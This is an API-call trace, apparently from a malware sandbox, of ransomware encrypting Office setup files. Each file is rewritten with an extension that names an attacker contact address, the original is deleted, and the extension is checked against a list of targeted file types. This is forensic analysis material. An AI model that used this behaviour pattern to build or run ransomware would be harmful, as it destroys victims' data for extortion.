	[0044.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0044.643] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=596341) returned 1
	[0044.643] CloseHandle (hObject=0x1f4) returned 1
	[0044.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 0x20
	[0044.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.643] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0044.644] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.644] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0044.644] GetLastError () returned 0x0
	[0044.644] ReadFile (in: hFile=0x1f4, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x91975, lpOverlapped=0x0) returned 1
	[0044.657] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x91980, lpOverlapped=0x0) returned 1
	[0044.669] ReadFile (in: hFile=0x1f4, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.669] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xec, lpOverlapped=0x0) returned 1
	[0044.669] SetEndOfFile (hFile=0x1f8) returned 1
	[0044.670] CloseHandle (hObject=0x1f8) returned 1
	[0044.679] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.679] SetEndOfFile (hFile=0x1f4) returned 1
	[0044.685] CloseHandle (hObject=0x1f4) returned 1
	[0044.685] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.685] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.xml")) returned 1
	[0044.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.685] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.685] lstrlenW (lpString=".doc") returned 4
	[0044.685] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.685] lstrlenW (lpString=".docx") returned 5
	[0044.685] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1
	[0044.685] lstrlenW (lpString=".pdf") returned 4
	[0044.685] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.685] lstrlenW (lpString=".xls") returned 4
	[0044.685] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.685] lstrlenW (lpString=".xlsx") returned 5
	[0044.685] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1
	[0044.685] lstrlenW (lpString=".ppt") returned 4
	[0044.686] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.686] lstrlenW (lpString=".zip") returned 4
	[0044.686] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.686] lstrlenW (lpString=".rar") returned 4
	[0044.686] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.686] lstrlenW (lpString=".bz2") returned 4
	[0044.686] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.686] lstrlenW (lpString=".7z") returned 3
	[0044.686] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.686] lstrlenW (lpString=".dbf") returned 4
	[0044.686] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.686] lstrlenW (lpString=".1cd") returned 4
	[0044.686] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.686] lstrlenW (lpString=".jpg") returned 4
	[0044.686] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.686] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.686] lstrlenW (lpString=".doc") returned 4
	[0044.686] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.686] lstrlenW (lpString=".docx") returned 5
	[0044.686] lstrcmpiW (lpString1=".docx", lpString2="G.XML") returned -1
	[0044.686] lstrlenW (lpString=".pdf") returned 4
	[0044.686] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.686] lstrlenW (lpString=".xls") returned 4
	[0044.686] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.686] lstrlenW (lpString=".xlsx") returned 5
	[0044.687] lstrcmpiW (lpString1=".xlsx", lpString2="G.XML") returned -1
	[0044.687] lstrlenW (lpString=".ppt") returned 4
	[0044.687] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.687] lstrlenW (lpString=".zip") returned 4
	[0044.687] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.687] lstrlenW (lpString=".rar") returned 4
	[0044.687] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.687] lstrlenW (lpString=".bz2") returned 4
	[0044.687] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.687] lstrlenW (lpString=".7z") returned 3
	[0044.687] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.687] lstrlenW (lpString=".dbf") returned 4
	[0044.687] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.687] lstrlenW (lpString=".1cd") returned 4
	[0044.687] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.687] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.XML") returned 105
	[0044.687] lstrlenW (lpString=".jpg") returned 4
	[0044.687] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.687] lstrcmpiW (lpString1=".CHM", lpString2=".Acuf2") returned 1
	[0044.687] lstrlenW (lpString="OCT.CHM") returned 7
	[0044.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0044.688] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=71236) returned 1
	[0044.688] CloseHandle (hObject=0x1f4) returned 1
	[0044.688] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20
	[0044.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0044.689] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.689] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.689] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0044.689] GetLastError () returned 0x0
	[0044.689] ReadFile (in: hFile=0x1f4, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x11644, lpOverlapped=0x0) returned 1
	[0044.694] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x11650, lpOverlapped=0x0) returned 1
	[0044.696] ReadFile (in: hFile=0x1f4, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.696] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xe2, lpOverlapped=0x0) returned 1
	[0044.696] SetEndOfFile (hFile=0x1f8) returned 1
	[0044.696] CloseHandle (hObject=0x1f8) returned 1
	[0044.697] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.697] SetEndOfFile (hFile=0x1f4) returned 1
	[0044.699] CloseHandle (hObject=0x1f4) returned 1
	[0044.699] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.699] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1
	[0044.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.699] lstrlenW (lpString=".doc") returned 4
	[0044.699] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0044.699] lstrlenW (lpString=".docx") returned 5
	[0044.699] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1
	[0044.699] lstrlenW (lpString=".pdf") returned 4
	[0044.699] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0044.699] lstrlenW (lpString=".xls") returned 4
	[0044.699] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0044.699] lstrlenW (lpString=".xlsx") returned 5
	[0044.699] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1
	[0044.700] lstrlenW (lpString=".ppt") returned 4
	[0044.700] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0044.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.700] lstrlenW (lpString=".zip") returned 4
	[0044.700] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0044.700] lstrlenW (lpString=".rar") returned 4
	[0044.700] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0044.700] lstrlenW (lpString=".bz2") returned 4
	[0044.700] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0044.700] lstrlenW (lpString=".7z") returned 3
	[0044.700] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0044.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.700] lstrlenW (lpString=".dbf") returned 4
	[0044.700] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0044.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.700] lstrlenW (lpString=".1cd") returned 4
	[0044.700] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0044.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.700] lstrlenW (lpString=".jpg") returned 4
	[0044.700] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0044.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.700] lstrlenW (lpString=".doc") returned 4
	[0044.700] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1
	[0044.700] lstrlenW (lpString=".docx") returned 5
	[0044.700] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1
	[0044.700] lstrlenW (lpString=".pdf") returned 4
	[0044.700] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1
	[0044.700] lstrlenW (lpString=".xls") returned 4
	[0044.700] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1
	[0044.700] lstrlenW (lpString=".xlsx") returned 5
	[0044.700] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1
	[0044.701] lstrlenW (lpString=".ppt") returned 4
	[0044.701] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1
	[0044.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.701] lstrlenW (lpString=".zip") returned 4
	[0044.701] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1
	[0044.701] lstrlenW (lpString=".rar") returned 4
	[0044.701] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1
	[0044.701] lstrlenW (lpString=".bz2") returned 4
	[0044.701] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1
	[0044.701] lstrlenW (lpString=".7z") returned 3
	[0044.701] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1
	[0044.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.701] lstrlenW (lpString=".dbf") returned 4
	[0044.701] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1
	[0044.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.701] lstrlenW (lpString=".1cd") returned 4
	[0044.701] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1
	[0044.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100
	[0044.701] lstrlenW (lpString=".jpg") returned 4
	[0044.701] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1
	[0044.701] lstrcmpiW (lpString1=".XML", lpString2=".Acuf2") returned 1
	[0044.701] lstrlenW (lpString="OfficeMUI.XML") returned 13
	[0044.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0044.702] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x26fff1c | out: lpFileSize=0x26fff1c*=5557) returned 1
	[0044.702] CloseHandle (hObject=0x1f4) returned 1
	[0044.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20
	[0044.702] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0044.702] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4
	[0044.703] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.703] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.703] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0044.703] GetLastError () returned 0x0
	[0044.703] ReadFile (in: hFile=0x1f4, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x15b5, lpOverlapped=0x0) returned 1
	[0044.704] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0x15c0, lpOverlapped=0x0) returned 1
	[0044.705] ReadFile (in: hFile=0x1f4, lpBuffer=0x3110020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesRead=0x26ffed4*=0x0, lpOverlapped=0x0) returned 1
	[0044.705] WriteFile (in: hFile=0x1f8, lpBuffer=0x3110020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x26ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3110020*, lpNumberOfBytesWritten=0x26ffc9c*=0xee, lpOverlapped=0x0) returned 1
	[0044.706] SetEndOfFile (hFile=0x1f8) returned 1
	[0044.706] CloseHandle (hObject=0x1f8) returned 1
	[0044.706] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0044.706] SetEndOfFile (hFile=0x1f4) returned 1
	[0044.707] CloseHandle (hObject=0x1f4) returned 1
	[0044.707] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0044.708] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1
	[0044.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.861] lstrlenW (lpString=".doc") returned 4
	[0044.861] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.861] lstrlenW (lpString=".docx") returned 5
	[0044.861] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0044.861] lstrlenW (lpString=".pdf") returned 4
	[0044.861] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.861] lstrlenW (lpString=".xls") returned 4
	[0044.861] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.861] lstrlenW (lpString=".xlsx") returned 5
	[0044.862] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
	[0044.862] lstrlenW (lpString=".ppt") returned 4
	[0044.862] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0044.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.862] lstrlenW (lpString=".zip") returned 4
	[0044.862] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0044.862] lstrlenW (lpString=".rar") returned 4
	[0044.862] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0044.862] lstrlenW (lpString=".bz2") returned 4
	[0044.862] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0044.862] lstrlenW (lpString=".7z") returned 3
	[0044.862] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0044.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.862] lstrlenW (lpString=".dbf") returned 4
	[0044.862] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0044.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.862] lstrlenW (lpString=".1cd") returned 4
	[0044.862] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0044.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.862] lstrlenW (lpString=".jpg") returned 4
	[0044.862] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0044.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106
	[0044.862] lstrlenW (lpString=".doc") returned 4
	[0044.862] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0044.862] lstrlenW (lpString=".docx") returned 5
	[0044.862] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1
	[0044.862] lstrlenW (lpString=".pdf") returned 4
	[0044.862] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0044.862] lstrlenW (lpString=".xls") returned 4
	[0044.863] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0044.863] lstrlenW (lpString=".xlsx") returned 5
	[0044.863] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1
